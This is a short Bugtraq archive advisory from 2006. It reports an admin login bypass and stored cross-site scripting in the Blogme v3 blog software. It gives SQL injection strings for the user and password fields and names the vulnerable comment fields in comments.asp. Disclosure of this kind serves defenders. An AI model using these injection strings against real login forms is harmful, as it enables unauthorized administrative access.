Bugtraq mailing list archives

Blogme v3 [admin login bypass & xss (post)]

From: saps.audit () gmail com
Date: 14 Nov 2006 15:27:21 -0000

vendor site:http://www.drumster.net/
product:Blogme v3
bug:login bypass & xss (post)
risk:high


admin login bypass :
user : ' or '1' = '1
passwd:  1'='1' ro '

xss post :
in: /comments.asp?blog=85  
vulnerables fields:
- Name 
- URL
- Comments


laurent gaffié & benjamin mossé
http://s-a-p.ca/
contact: saps.audit () gmail com

Current thread:

Blogme v3 [admin login bypass & xss (post)] saps . audit (Nov 14)